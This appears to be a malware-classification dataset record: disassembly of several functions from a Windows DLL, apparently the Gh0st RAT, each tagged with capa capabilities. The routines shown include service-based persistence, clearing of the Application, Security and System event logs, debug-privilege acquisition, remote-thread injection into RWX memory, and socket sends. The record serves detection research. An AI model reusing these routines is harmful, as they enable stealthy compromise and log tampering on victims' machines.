joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003946
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x1001164d
call fcn.100112b0
sub esp, 0x468
push ebx
push esi
push 0x104
lea eax, [ebp - 0x370]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x100161c8
jne 0x1000398f
mov dword [ebp - 0x10], 0x10018198
push dword [ebp - 0x10]
lea eax, [ebp - 0x370]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str._s_s.
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x100039cd
xor al, al
jmp 0x10003a99
push edi
mov edi, str._s_s_s
cmp byte [ebp - 0x13c], 0x2e
je 0x10003a75
lea eax, [ebp - 0x13c]
test byte [ebp - 0x168], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
je 0x10003a13
lea eax, [ebp - 0x474]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x474]
mov ecx, ebx
push eax
call fcn.10003946
jmp 0x10003a75
lea eax, [ebp - 0x26c]
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x26c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x10]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10003e07
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100039d3
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x10003c66
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.1000794b
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10003eb2
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012568
push 0x1001134a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x13c], eax
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp dword [ebp - 0x13c], edi
jne 0x10003f1f
cmp esi, edi
je 0x10003f9c
lea eax, [ebp - 0x138]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10003f9c
cmp dword [ebp - 0x134], 1
je 0x10003f59
lea eax, [ebp - 0x138]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10003f9c
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x400
push edi
lea eax, [ebp - 0x53c]
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push str.SYSTEMCurrentControlSetServices_s
lea eax, [ebp - 0x53c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x53c]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
or dword [ebp - 4], 0xffffffff
call fcn.10003fbc
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003fdc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push ebx
push esi
push edi
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x104]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x504]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x104]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x104]
push ebx
push eax
mov edi, str.InstallModule
push 1
lea eax, [ebp - 0x504]
push edi
mov esi, reloc.WS2_32.dll_bind
push eax
push esi
call fcn.100079dc
push 3
push ebx
push ebx
push 1
lea eax, [ebp - 0x504]
push edi
push eax
push esi
call fcn.10007dbb
add esp, 0x3c
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000407e
inc ebx
cmp ebx, 0x19
jl 0x1000405c
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100040d2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 1
lea eax, [ebp - 0x108]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x1000411c
xor eax, eax
jmp 0x10004172
push esi
push 2
push edi
push 0xfffffc00
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push edi
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp + 0xc]
push ebx
call fcn.10004083
add esp, 0x10
cmp eax, 0xffffffff
pop esi
jne 0x10004170
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x10004118
add eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x10004176
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov eax, 0x10011670
call fcn.100112b0
sub esp, 0x20c
push ebx
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push esi
push edi
lea eax, [ebp - 0x218]
mov dword [ebp - 0x10], esp
push 0x1f4
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x100041ec
lea eax, [ebp - 0x20]
push 0x100134e0
push eax
mov dword [ebp - 0x20], 0x10018198
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x18]
push 4
push eax
push 4
push 0
push str.Type
push dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x120
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10004245
lea eax, [ebp - 0x1c]
push 0x100134e0
push eax
mov dword [ebp - 0x1c], str.RegSetValueEx_start_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x1000423f
cmp byte [eax], 0
je 0x1000423f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x10004245
ret
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x1000425d
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x1001167c
call fcn.100112b0
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x10], esp
push 0x1f4
xor edi, edi
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], edi
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x21c]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp eax, edi
je 0x100042d6
lea eax, [ebp - 0x24]
push 0x100134e0
push eax
mov dword [ebp - 0x24], 0x10018198
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 4
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
push edi
push str.Type
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, edi
je 0x10004329
lea eax, [ebp - 0x20]
push 0x100134e0
push eax
mov dword [ebp - 0x20], str.RegQueryValueEx_Type_
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x10004329
ret
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x1000481a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x2f
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x10004842
push esi
push dword [ebp + 8]
call fcn.1000ad77
pop ecx
test al, al
pop ecx
jne 0x10004846
xor al, al
jmp 0x10004882
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push str.Gh0st_Update
push esi
mov dword [ebp - 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
leave
ret

Function at 0x10004885
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push esi
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10004969
mov eax, 0x104
xor esi, esi
mov dword [ebp - 8], eax
push eax
lea eax, [ebp - 0x160]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004969
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10004969
lea eax, [ebp - 0x160]
push 0x10016188
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, esi
pop ecx
je 0x10004969
push edi
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
pop edi
je 0x1000494d
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop esi
leave
ret

Function at 0x1000496e
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 3
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x100049b2
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10004992
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004ac2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
lea eax, [ebp + 0xc]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10004b0f
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x14]
push 2
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10004b0f
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
ret

Function at 0x10004b12
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
lea eax, [ebp + 0xc]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10004b58
lea eax, [ebp + 0x14]
push 4
push eax
push 4
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10004b58
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
ret

Function at 0x10004de6
Capabilities:
Enumerate processes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, 0x128
mov dword [esp + 0x10], eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
push edi
push dword [esp + 0x14]
mov dword [edi], esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10004e67
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10004e67
push dword [esp + 0x18]
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
lea ebx, [edi + 0x24]
call esi
pop ecx
push eax
push ebx
call esi
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
push eax
jmp 0x10004e5a
push edi
push dword [esp + 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10004e67
push dword [esp + 0x18]
call esi
pop ecx
push eax
push ebx
call esi
pop ecx
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jbe 0x10004e3f
push 1
pop eax
jmp 0x10004e69
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10004e6f
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10004e90
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push ebx
push eax
xor ebx, ebx
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10004ed9
mov eax, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x1c]
push 0x10
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10004ed9
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
leave
ret
Function at 0x10004f6d
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
call fcn.10004e6f
push dword [ebp + 8]
call fcn.1000a950
pop ecx
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
jne 0x10004fa3
xor al, al
jmp 0x10005138
push 0xf4
lea eax, [ebp - 0xf8]
push 0
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push str.advapi32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenSCManagerA
push ebx
call esi
push str.OpenServiceA
push ebx
mov dword [ebp - 0xf8], eax
call esi
push str.QueryServiceStatus
push ebx
mov dword [ebp - 0xf4], eax
call esi
push str.ControlService
push ebx
mov dword [ebp - 0xf0], eax
call esi
push str.StartServiceA
push ebx
mov dword [ebp - 0xec], eax
call esi
push str.DeleteService
push ebx
mov dword [ebp - 0xe8], eax
call esi
push str.CloseServiceHandle
push ebx
mov dword [ebp - 0xe4], eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xe0], eax
call ebx
push str.shlwapi.dll
call edi
push str.SHDeleteKeyA
push eax
mov dword [ebp - 4], eax
call esi
push dword [ebp - 4]
mov dword [ebp - 0xdc], eax
call ebx
push str.kernel32.dll
call edi
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [ebp - 0xd4], eax
call esi
push edi
mov dword [ebp - 0xd8], eax
call ebx
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xcc]
push eax
call esi
lea eax, [ebp - 0x68]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, 0x1000
push 4
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, 0xf4
push esi
push 0
push dword [ebp + 8]
call edi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x10004f9c
push 0
lea ecx, [ebp - 0xf8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ecx
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10004f9c
push 0x40
push ebx
mov ebx, 0x2800
push ebx
push 0
push dword [ebp + 8]
call edi
mov edi, eax
test edi, edi
je 0x10004f9c
push 0
push ebx
push 0x10004ee7
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x10004f9c
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push edi
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100052ad
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
push esi
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
and dword [ebp - 4], 0
mov esi, 0x100181a8
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [0x100184c4]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ebx, dword [ebp + 0x10]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
call fcn.100051b3
pop ecx
test eax, eax
pop ecx
je 0x1000540f
mov edi, dword [ebp + 8]
cmp eax, 1
je 0x10005378
cmp eax, 2
je 0x10005378
cmp eax, 3
je 0x10005378
cmp eax, 4
jne 0x100053df
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 8]
sub ecx, eax
add eax, ebx
push ecx
push eax
call fcn.1000513d
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
push eax
lea eax, [edi + 4]
push eax
call fcn.10005787
add esp, 0x1c
test eax, eax
je 0x1000540f
mov esi, str.HTTP_1.0_200_OK_r_n_r_n
push 0
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x100053df
push dword [ebp - 8]
mov esi, dword [ebp + 0x14]
push esi
push ebx
push dword [ebp + 0xc]
call fcn.10005233
add esp, 0x10
mov dword [ebp + 0x14], eax
test eax, eax
je 0x1000540f
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 8]
sub esi, eax
sub esi, 7
lea eax, [eax + ebx + 7]
push esi
push eax
call fcn.1000513d
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
lea esi, [edi + 4]
push eax
push esi
call fcn.10005787
add esp, 0x1c
test eax, eax
je 0x1000540f
push 0
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000540f
xor esi, esi
cmp dword [edi], esi
je 0x1000540f
cmp dword [edi + 4], esi
je 0x1000540f
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push 0x1000606e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x1000540a
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
pop eax
jmp 0x10005411
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret